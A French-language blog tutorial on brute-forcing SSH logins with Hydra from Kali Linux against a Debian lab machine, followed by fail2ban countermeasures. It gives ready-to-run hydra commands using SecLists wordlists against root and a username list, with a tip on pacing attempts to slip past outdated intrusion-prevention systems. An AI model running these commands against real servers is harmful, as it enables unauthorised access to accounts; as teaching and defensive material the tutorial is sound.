Source : https://le-guide-du-secops.fr/2020/08/15/realiser-une-attaque-brute-force-avec-hydra-kalilinux/
Lâarticle qui va suivre contient des techniques et mĂ©thodes qui peuvent sâavĂ©rer ĂȘtre illĂ©gales et dangereuses si elles sont utilisĂ©es Ă mauvais escient. Ce tutoriel a pour unique but de vous enseigner Ă vous protĂ©ger contre les âblack-hatâ (Hackers mal intentionnĂ©s) et ne doit en aucun cas ĂȘtre utilisĂ© contre un particulier, une entreprise, une organisation Ă but non lucratif ou une administration publique de quelconque pays.
je vais utiliser Kali linux (192.168.145.129/24) sous sa derniĂšre version Ă savoir 2020.2 Ă ce jour, ainsi quâune machine victime (Debian 10.X) qui sera identifiĂ© par lâadresse IP suivante : 192.168.145.141/24. La machine de lâattaquante devra pouvoir communiquer avec la machine virtuelle cible Debian 10.X.
Etape 1 â PrĂ©paration de lâenvironnement
Si vous ne disposez pas de dictionnaire de mot de passe / nom dâutilisateur, clonĂ© le repository git suivant : https://github.com/danielmiessler/SecLists (700mo), vous y trouverez votre bonheur. Pour ce tutoriel, je me baserai notamment sur les fichiers xato-net-10-million-passwords-100.txt et top-usernames-shortlist.txt.
NB : toutes ces commandes sont exécutées par utilisateur root
cd /home/kali
mkdir passwords-and-usernames
git clone https://github.com/danielmiessler/SecLists
CopiĂ©/collĂ©, les dictionnaires de mots de passe / nom dâutilisateurs (fichiers *.txt).
cp -r SecLists/Usernames/*.txt /home/kali/passwords-and-usernames/
cp -r SecLists/Passwords/*.txt /home/kali/passwords-and-usernames/
cd passwords-dict/
Etape 2 : Attaque depuis Kalilinux
Ciblé un utilisateur particulier
- -s = port
- -l = utilisateur simple
- -L = utilisateurs extraient dâune liste
- -P = mots de passe extraient dâune liste
- -T = nombre dâessai par seconde (4, Ă©tant une valeur recommandĂ©, pour outrepasser certains IPS vieillissant et non mis Ă jours)
- -V = Afficher tout les essais dans la fenĂȘtre du terminal
Dâautres options disponible, pour dâautres contexte.
Pour plus dâinfo : hydra --help
hydra -s 22 -l root -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh
Quand hydra dĂ©couvre un couple de ID/MDP correct, il lâindique en vert
UtilisĂ© une liste dâusername + un dico de mot de passe. Dans ce contexte chaque utilisateur sera testĂ© avec lâensemble des mots de passe de la liste.
hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh
Cibler un groupe dâutilisateur donnĂ©
Dans ce scĂ©nario, chaque mot de passe de la liste xato-net-10-million-passwords-10.txt sera testĂ© pour chaque utilisateur du fichier top-usernames-shortlist.txt. Lâattaque est bien plus longue, mais elle a plus de chances de rĂ©ussir quâune attaque visant simplement un seul utilisateur.
hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -V ssh
Contre-mesures
Afin de limiter ce genre dâattaque, qui peut ĂȘtre gravissime si elle aboutit, installez sur votre serveur Linux « victime » un IPS (Intrusion Prevention Software) comme le non moins cĂ©lĂšbre Fail2ban, qui vous permet de limiter ce genre dâattaque trĂšs facilement.
apt install fail2ban
# Fail2ban est installé et actif au boot
# par défaut fail2ban bloque une l'ip d'un utilisateur au bout de 4 essais infructueux.
Pour plus de renseignements, sur un paramétrage avancé de fail2ban, consultez : https://www.a2hosting.com/kb/security/hardening-a-server-with-fail2ban
Voilà le message que vous allez obtenir dÚs à présent si vous retentez de nouvelle une attaque depuis la machine attaquante vers votre cible.
Connectez-vous sur la machine victime, et tapez la commande ci-dessous :
Vous pouvez le constater, lâIP de lâattaquant a bien Ă©tĂ© bloquĂ©e
Pour débanir votre ip, veuillez entrer la commande suivante :
fail2ban-client set sshd unbanip 192.168.0.X